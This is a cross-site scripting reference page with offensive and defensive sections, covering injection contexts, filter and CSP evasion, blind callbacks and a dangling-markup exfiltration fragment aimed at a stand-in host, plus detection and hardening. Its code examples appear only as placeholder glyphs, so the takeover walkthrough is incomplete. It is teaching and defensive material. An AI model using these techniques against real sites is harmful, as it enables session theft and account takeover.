Cross-Site Scripting (XSS)
XSS = execution of attacker code in the victim’s browser, inside the app’s origin. The server isn’t broken; the browser’s trust in the code the app hands it is. Because that code runs in the victim’s origin, it inherits all of its client-side power: read and modify the DOM, use their cookies and tokens, fire authenticated requests and spoof the UI. A stored XSS in an admin panel is, in practice, platform compromise.
Threat model
Section titled “Threat model”What the attacker gains depends on where the XSS fires and what protections exist:
- No
HttpOnly→ direct session cookie theft (document.cookie). - With
HttpOnly→ can’t read the cookie, but acts on behalf of the victim (cookies ride along on the browser’s own requests). - Tokens in
localStorage/sessionStorage→ always reachable from JS. - Internal/admin panel (stored or blind) → user creation, config changes, pivot.
Anatomy: data vs. code
Section titled “Anatomy: data vs. code”The browser interprets several languages (HTML, JS, CSS, URL). XSS is born when controllable data lands where the parser treats it as code, because the app didn’t encode it for that context or sanitize it. The Same-Origin Policy isolates origins, but the payload runs inside the vulnerable origin, so SOP works in the attacker’s favor.
In DOM-based XSS the key flow is source → sink:
- Sources (controllable input):
location(.href/.search/.hash/.pathname),document.referrer,document.cookie,window.name,postMessage,localStorage, API responses reflected into the DOM. - Sinks (execution):
eval,Function,setTimeout/setIntervalwith a string,element.innerHTML/outerHTML,document.write/writeln,insertAdjacentHTML,element.setAttribute(ofhref/src/on*),location/location.href,iframe.srcdoc,script.src/text, and in jQuery$(),.html(),.append().
Injection contexts
Section titled “Injection contexts”The valid payload depends entirely on where the data lands:
- Between tags
<div>HERE…(between tags) → inject an executing element. - Quoted attribute
value="HERE"→ close the quotes + handler, orautofocus onfocus=. - Unquoted attribute
value=HERE→ a space is enough to add attributes. - Inside JavaScript
var x='HERE'→ close the string/statement, or break a template literal`...${HERE}...`. - In a URL
href="HERE"→ thejavascript:scheme. - In CSS
style="HERE"→expression()(legacy), exfil viabackground:url().
Variants
Section titled “Variants”- Reflected: payload rides the request (query, header, body) and returns in the immediate response. Requires delivering a link/form to the victim.
- Stored (persistent): the payload is saved (comment, profile, name, ticket, file metadata) and served to every visitor. Highest impact; in social apps it can self-propagate (worm, e.g. Samy).
- DOM-based: injection happens client-side only; server HTML may be harmless. Server-side output encoding does not mitigate it.
- Blind: fires where you can’t see it (ticket viewer, logs, backoffice). Detected and exploited out-of-band.
- mXSS (mutation): the sanitizer emits “safe” HTML the browser re-parses when
normalizing the DOM (HTML/SVG/MathML namespace confusion,
noscript,template), resurrecting the vector. Breaks poorly designed sanitizers. - Self-XSS: requires the victim to paste the payload; low impact unless escalated with clickjacking or social engineering.
- UXSS: a browser or extension bug breaking SOP; affects any site.
Red Team
Section titled “Red Team”Discovery methodology
Section titled “Discovery methodology”- Inject a unique marker (
pwn7h3) into every GET/POST parameter, fragment, header (Referer,User-Agent,X-Forwarded-*), cookie and JSON field. Locate all reflections and classify each context before trying a single payload. - Try context-breaking characters and check whether they return unencoded:
< > " '/ = { }`. - DOM XSS: with DOM Invader (Burp) or by hand in DevTools, trace source→sink;
look for
innerHTML,eval, framework sinks,postMessagewithoutoriginvalidation. - Blind XSS: plant OOB-callback probes in name, address, user-agent, support/CRM fields; wait for backoffice execution.
Context-based exploitation
Section titled “Context-based exploitation”�0�
By hand: from payload to session takeover
Section titled “By hand: from payload to session takeover”- Start a listener on an IP the victim can reach: �1�
- Inject the vector into the reflected or stored point: �2�
- When the page renders (the victim, or an admin for stored/blind), you receive the cookie in your log.
- If it’s
HttpOnly, act on their behalf from their browser (the cookie rides along): �3� - For blind XSS, use an OOB domain and wait for async execution.
What injected JavaScript can do
Section titled “What injected JavaScript can do”- Session credential theft:
document.cookie,localStoragetokens. - Authenticated actions via
fetch/XHR(credentials:'include'): change email/password (→ ATO), create users, approve transactions. - Anti-CSRF token theft by reading the DOM/responses, to chain further.
- Keylogging and form capture (
addEventListener('input'...)). - In-page phishing (overlay a fake login on the legitimate domain).
- Internal network scanning and client-side SSRF; in desktop apps (Electron) an
XSS can escalate to RCE via
nodeIntegration. - Persistence by registering a malicious service worker.
Evasion: filters, encodings and WAF
Section titled “Evasion: filters, encodings and WAF”- Encodings: HTML entities (
a,a), URL and double-URL, unicode (a), JS hex, nested. The browser decodes per context; the filter often doesn’t. - Tag/handler obfuscation: mixed case, uncommon tags (
<svg>,<math>,<marquee>), alternative handlers (onpointerover,ontoggle,onanimationstart,onfocus+autofocus), separators (/,%0a,%0c), unquoted attributes. - Without blocked keywords:
import(name)instead ofeval, build strings withString.fromCharCode,atob, concatenation. - HTML parser quirks: malformed comments, unclosed
<, foreign content (SVG/MathML) that changes parsing rules (basis of mXSS).
CSP bypass
Section titled “CSP bypass”A poorly designed CSP doesn’t stop XSS:
unsafe-inlineor a broad CDN whitelist → almost always bypassable.- JSONP endpoints on allowed domains → load your callback.
- Script gadgets: allowed libraries with
eval/templates (AngularJSng-app, Vue template mode) execute expressions. - Unrestricted
base-uri→ hijack<script>relative paths. - Leaked/reused
nonceorstrict-dynamicloading a gadget. - Dangling markup / exfiltration: when you can’t execute, steal DOM data with a
dangling tag (
<img src='//oob.tld?), DNS-prefetch, or<link>.
Check the policy with CSP Evaluator and look for known gadgets.
Advanced vectors
Section titled “Advanced vectors”- File uploads: SVG with
<script>, HTML served inline, reflected filenames, reflected EXIF metadata. - PDF generators / HTML→PDF converters: XSS → SSRF/local file read on the render server.
- Markdown / WYSIWYG editors: raw HTML allowed,
javascript:in links. - Headers and errors: reflected XSS in error pages or header-reflecting responses.
postMessage: receivers thatinnerHTMLevent.datawithout validatingevent.origin.
Tooling
Section titled “Tooling”Burp Suite (+DOM Invader), dalfox, Gxss/kxss, arjun/paramspider
(parameter discovery), XSS Hunter self-hosted / interactsh (blind/OOB),
BeEF (post-exploitation demo), CSP Evaluator (policy audit).
Exfiltrate over a discreet own channel (image beacon, fetch keepalive, DNS), avoid
noisy alerts, use neutral OOB domains, and keep scope and data to what the
engagement allows.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- CSP in report mode (
Content-Security-Policy-Report-Only+report-to/report-uri): violations expose unauthorized scripts and injections in production, including DOM XSS. - WAF/IDS: signatures (
<script,onerror=,javascript:,srcdoc) plus anomaly detection (length, entropy, nested encodings) — signatures alone get bypassed. - SIEM: correlate input with HTML metacharacters later reflected in 200 responses; spikes of outbound requests to unknown domains (beacons) from user sessions; for internal blind, alert if the backoffice calls uncatalogued external domains.
- Honeytokens: decoy cookies/fields that, if exfiltrated, raise an alert.
Telemetry and sources
Section titled “Telemetry and sources”CSP reports, access logs with body/parameters, proxy/egress, RASP or response- inspecting WAF, and integrity checks of stored content.
Hardening
Section titled “Hardening”- Context-aware output encoding — the root fix. Use the framework’s
(React/Angular/Vue autoescape, safe
t()) and OWASP’s (Java Encoder, etc.). Risk returns withdangerouslySetInnerHTML(React),v-html(Vue),bypassSecurityTrust*(Angular): if you must render user HTML, sanitize with DOMPurify with a restrictive config. - Nonce/hash-based CSP with
strict-dynamic, nounsafe-inline, withbase-uri 'none'andobject-src 'none'. Roll out in Report-Only first. - Trusted Types (
require-trusted-types-for 'script') to close DOM XSS sinks in Chromium browsers. - Cookies
HttpOnly+Secure+SameSite; don’t store session tokens inlocalStorage. - Input validation via allow-list as an extra layer (never the only one).
Incident response
Section titled “Incident response”Purge the stored payload, invalidate and rotate affected sessions/tokens, review which accounts may have been compromised (changed emails/passwords, created users), add a specific detection rule, and run a post-mortem on the injection point.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Samy (MySpace, 2005) — stored XSS that self-replicated by adding the attacker as a friend; ~1 million profiles in 20 hours. The most-cited XSS worm in history.
- Twitter “onMouseOver” (2010) — stored XSS in the timeline: hovering a tweet ran JS and auto-retweeted it; spread in minutes.
- TweetDeck (2014) — stored XSS in tweet rendering; a single payload tweet mass-auto-retweeted.
- British Airways / Magecart (2018) — malicious client-side JS (skimmer) exfiltrated payment data from ~380,000 transactions. A showcase of the impact of running untrusted JavaScript in the victim’s origin.
- Sanitizer bypasses (mXSS) — DOMPurify and others have shipped multiple mutation XSS advisories; keeping the sanitizer updated is part of the defense.
For product-specific CVEs, check the official feeds: NVD (https://nvd.nist.gov/vuln/search) and GitHub Security Advisories (https://github.com/advisories). Most real XSS is published as a CVE of the affected component.
Testing checklist
Section titled “Testing checklist”- Reflections of every parameter/header/cookie, with context identified.
- Per-context testing: tag, attribute (quoted/unquoted), JS, URL, CSS.
- DOM XSS: source→sink reviewed (incl.
postMessage). - Blind: OOB probes in every field that ends up in an internal panel.
- If CSP present: evaluated and gadgets/JSONP/
base-uritested. - Impact proven (cookie/authenticated action) and documented with a minimal PoC.